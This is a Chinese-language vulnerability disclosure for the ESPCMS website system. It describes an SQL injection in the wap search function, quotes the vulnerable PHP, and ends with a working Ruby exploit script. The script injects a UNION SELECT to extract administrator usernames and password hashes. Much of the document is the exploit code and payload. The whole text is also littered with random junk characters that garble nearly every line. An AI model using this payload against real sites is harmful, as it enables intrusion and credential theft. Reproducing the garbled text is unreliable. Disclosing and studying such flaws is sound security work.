0×0 漏洞概述0×1 漏洞细节
$ U4 M; p. L+ e v: U0×2 PoC' {7 n" ?+ H& Z$ b# v3 V
3 O3 \8 s: D) f6 A# g+ n" O2 V
/ z1 _+ f9 [8 Z, o" K' a4 q1 b2 Z* U1 o7 N6 d) F/ T
0×0 漏洞概述0 M2 O' M, N6 {& r1 l* A2 s
3 T- a4 a% M: v/ Q
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。9 v+ i6 _) C6 W2 G
其在处理传入的参数时考虑不严谨导致SQL注入发生
: F% W7 Z+ O4 ^4 y( y: {* o
3 T( A# O7 i4 L( [: v7 F x: U4 Y
: V4 D9 q7 V+ @: z0×1 漏洞细节
0 }" I" a& t: s# B! ~' m; |7 M8 M8 x9 p
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。 o; |' w$ U, w. l/ b3 c
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。2 e$ @- K) C- r2 Y
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。# k% A- x4 S+ i& C
. v$ J. Y7 w# Q( r ]+ [* h在/interface/3gwap_search.php文件的in_result函数中:$ D/ Y5 Y3 T2 S& w( v5 t
9 G; [3 Q. G2 [3 X+ c
' Q, v' N9 V3 i+ W& x/ }; g' e1 e: s0 z% y$ T A
function in_result() {$ M9 H! k1 F, t9 n a( D
... ... ... ... ... ... ... ... ...9 m+ i1 g) S- V! n& G' j& v+ ?
$urlcode = $_SERVER[ 'QUERY_STRING '];
2 Z4 y7 E4 ]4 K parse_str(html_entity_decode($urlcode), $output);: S4 ?) x. d/ _8 S: t/ f
$ b0 v: v( b# e2 D K5 C
... ... ... ... ... ... ... ... ...
/ N6 F( p. n# b: ~ if (is_array($output['attr' ]) && count($output['attr']) > 0) {9 a! b! o8 z! @: _# j6 j# a
+ ~( j* d9 s h# R $db_table = db_prefix . 'model_att';1 M5 s) r" o' ~4 ~$ ^; b( I
# o d- J( I h. M, h
foreach ($output['attr' ] as $key => $value) {
" k+ f$ c/ g A* ^" ]3 A6 B$ {+ P7 M if ($value) {; u7 c7 t X% Q( A V
4 U& o; d& J( Q, i/ r! ^ v2 D: w n
$key = addslashes($key);; S2 Z9 m2 d$ m" Y$ c# G
$key = $this-> fun->inputcodetrim($key);
4 l' M8 b, x3 v7 k! U $db_att_where = " WHERE isclass=1 AND attrname='$key'";
, U5 u5 [3 c. o: L$ S( k- G2 z5 W3 t8 T $countnum = $this->db_numrows($db_table, $db_att_where);
8 ?7 O9 T: K" c. s) ~4 Z# D0 P if ($countnum > 0) {
' m7 [$ d, q$ ?5 a# K- o# K $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;) J2 |& ^' i# g; Y# V
}2 o# |% o6 P4 d. C5 T7 W. G2 @( W
} ^9 Y/ N( q# u# k: W8 z0 k6 B% D; D
}( S, i) w6 r8 V2 v6 @5 T% N+ ?0 a
}
& S& R$ ?6 }2 v# a0 Q. p i9 v if (!empty ($keyword) && empty($keyname)) {8 y" c. t8 V" _5 ?& k
$keyname = 'title'; z" @, ^; i7 g. F& A, ?. i5 a
$db_where.= " AND a.title like '%$keyword%'" ;4 B+ A" b4 J( O0 x2 h' b: D' P! S
} elseif (!empty ($keyword) && !empty($keyname)) {" k- R: Q& R, E/ H; F0 R% r' ^
$db_where.= " AND $keyname like '% $keyword%'";
8 O3 F, a# R! X }) F2 }5 M' A1 ~* q& k
$pagemax = 15;& R0 S f+ ]% e
; p: r* q$ s% }8 d $pagesylte = 1;
! ]3 X* `, s+ E1 J) T- D* z2 U. W. Z: x# d$ ?( O6 W( l$ e6 j
if ($countnum > 0) {$ x9 c+ w! Z2 o& G0 U# l" i
" j% O2 n$ {9 c. ]( ^$ ?; E
$numpage = ceil($countnum / $pagemax);& n6 |( K9 E: l ` Y
} else {- {7 T0 W# U$ g% M- F
$numpage = 1;
, z: ?3 H# |& A( e8 ?' b: u }* l3 |' b9 r" [' `. t, ^$ O5 `- c4 N2 O
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;) Y! d# Z0 a' L. k4 t
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);! l0 f: s2 J# n& m1 A
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);3 }* L% L2 ]1 j+ E7 I9 L. f
... ... ... ... ... ... ... ... ...
/ `4 F5 A% M( t4 M) F4 H, Y }
2 {! p( b0 g3 E, V& L7 h. d7 L2 e7 s! c& m
, M+ n; E' N9 E- c# K" f: S0×2 PoC" ~/ l+ c* s/ @
. E) N0 ~+ Q6 F8 b7 A
7 p2 L2 t8 A5 R( a, O' s7 c
# s' B0 W0 E/ H' [ ^9 Frequire "net/http", k) N! P6 \- a; U0 n' s
3 E4 _ f0 n: s3 b; A. h
def request(method, url)/ I, C* p5 F) j6 r, y
if method.eql?("get")
& H) K- r4 t3 E. k1 j; d! D uri = URI.parse(url): H1 k8 @5 d: n' S# g
http = Net::HTTP.new(uri.host, uri.port)8 a% d4 D1 ]) @% s0 o* r( X
response = http.request(Net::HTTP::Get.new(uri.request_uri))# t c, M" |: j! N- E7 q
return response) X: V7 N7 ]6 z% n" D) D! E
end
- X2 s- J2 z9 I2 w; E: D! r3 Tend
0 G+ M9 F1 d' s% D& t6 p; u0 d! `" _% P) n0 w8 v
doc =<<HERE$ `. {8 _/ A t/ z1 `7 f- L7 \
-------------------------------------------------------
+ @1 ^7 I$ P3 w" EEspcms Injection Exploit/ O* Q/ G; F+ b3 v* a- s
Author:ztz
G& g9 Z8 A# c/ t4 q. }9 }Blog:http://ztz.fuzzexp.org/) O+ P2 N! f) ?7 T( g+ e
-------------------------------------------------------
% O9 r: W" S. h" I& |& j& B
( {8 ~/ n" I2 ?; f5 M# @& PHERE
, W9 ?6 }9 J1 Y9 _" B( k( ]' M# g9 O8 l6 ~
usage =<<HERE
) A E. I) x# w- LUsage: ruby #{$0} host port path
' {) u6 P& x' `6 s6 Yexample: ruby #{$0} www.target.com 80 /
& j- c" o9 ?0 ~/ SHERE, R) `5 f) G, |* n. r: ?6 Z4 _
8 d' h4 g& t% t( [
puts doc& _" M9 g1 p( m0 w5 X" Y
if ARGV.length < 3
, J2 J I" x& n0 {, u puts usage
+ j9 E8 p. t* x; n/ Q' belse8 D j! n) c/ ^6 @$ J
$host = ARGV[0]4 `+ t) g+ Z" X& }/ y/ X$ X) O
$port = ARGV[1]
- v$ P+ _$ K( k* @6 _7 z/ u $path = ARGV[2]5 v5 L% i% ^; @5 F
5 R. S0 b# E- u* z: v puts "send request..."- n- @" E6 F: l
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
$ ~% [( _7 w1 ~' Battr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,134 j' q# `4 J, | A
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27& ?6 H4 B. N' z9 N3 ]
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"8 X! s% k! U. f4 k W# {( K
response = request("get", url)
3 R5 T: t7 @. Q0 Y result = response.body.scan(/\w+&\w{32}/)
8 l5 | X5 w/ L! e, `) n4 Z puts result- M1 G/ _8 {# F3 R; c6 ^$ u, S
end# _9 q+ U6 h9 f. |* f9 x
u6 l" \7 L' \& ?' b; {& g |